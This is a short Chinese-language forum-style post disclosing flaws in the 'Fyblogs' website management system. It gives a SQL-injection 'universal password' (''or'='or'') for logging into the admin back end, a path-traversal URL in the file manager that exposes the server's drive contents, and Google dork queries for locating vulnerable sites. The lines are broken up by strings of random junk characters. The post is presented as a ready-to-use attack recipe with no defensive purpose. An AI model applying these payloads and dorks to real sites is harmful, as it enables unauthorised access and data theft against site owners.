Fyblogs网站管理系统漏洞

admin

后台万能密码 'or'='or'
; d) V3 ?3 [4 I! t  P2 ~5 ]3 I
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
4 v8 p8 Y* _* E% h2 l$ eadmin/uploadfile.asp?currentFolder=/upfiles/../
" L$ `( Q1 A+ ?+ \0 f1 q% |1 U9 w
0 l6 O/ @* w2 V0 o8 `2 @& C0 P漏洞证明：
" d; r. L& E$ \" l6 i8 H2 _1 j
/ A# x  P+ `; J谷歌：inurl:type.asp?id=1 新闻中心
6 w% I5 @) G4 W) i或者 ：inurl:download_ok.asp?

, r" _7 O1 U$ ^) Y$ c: E4 G